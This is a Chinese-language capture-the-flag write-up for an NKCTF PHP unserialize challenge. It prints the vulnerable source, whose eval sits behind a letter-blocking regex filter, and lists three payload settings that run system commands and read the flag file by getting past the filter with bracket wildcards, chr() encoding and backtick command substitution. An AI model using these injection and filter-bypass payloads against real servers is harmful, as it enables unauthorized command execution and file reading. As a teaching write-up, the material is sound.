目录
扫描二维码关注公众号,回复:
15131227 查看本文章
题目源码:
<?php
error_reporting(0);
class Welcome{
public $name;
public $arg = 'oww!man!!';
public function __construct(){
$this->name = 'ItS SO CREAZY';
}
public function __destruct(){
if($this->name == 'welcome_to_NKCTF'){
echo $this->arg;
}
}
}
function waf($string){
if(preg_match('/f|l|a|g|\*|\?/i', $string)){
die("you are bad");
}
}
class Happy{
public $shell;
public $cmd;
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
waf($cmd);
eval($shell($cmd));
}
}
class Hell0{
public $func;
public function __toString(){
$function = $this->func;
$function();
}
}
if(isset($_GET['p'])){
unserialize($_GET['p']);
}else{
highlight_file(__FILE__);
}
?>
解题步骤:
1、构造pop链
构造此题目的pop链过程在此文有讲:http://t.csdn.cn/dlOWS
2、waf分析:
题目waf为:
function waf($string){
if(preg_match('/f|l|a|g|\*|\?/i', $string)){
die("you are bad");
}
}
正则分析:
经分析,所传入的$string字符串不能含有f l a g * ? 中的任何字符,并且不分大小写
pop链中的 eval($shell($cmd));
$cmd变量对应$string
也就是说所传入的内圈函数要绕过此正则
绕过步骤:
1、查看网站目录文件:
ls指令无法使用,其中含有字符l,我们可以使用dir替代
$b->shell='system';
$b->cmd="dir /";
可以看到根目录文件为:
我们需要打开f1ag文件,获取flag,查看当前目录的话,会发现一个叫做ooo.txt的文件,里面放着根目录列表
2、打开f1ag文件
方法一:
$b->shell='system';
$b->cmd="sort /[!q]1[!q][!q]";
这里用到[!]来替换通配符?
[!q]表示匹配非q的字符
方法二:
$b->shell="strtolower";
$b->cmd="show_source(chr(47).chr(102).chr(49).chr(97).chr(103));";
这里使用的ASCII码表绕过
方法三:
$b->shell='system';
$b->cmd="sort /`sort ooo.txt | cut -c 9-13`";
这里使用的cut函数绕过,使用cut剪切出f1ag字符串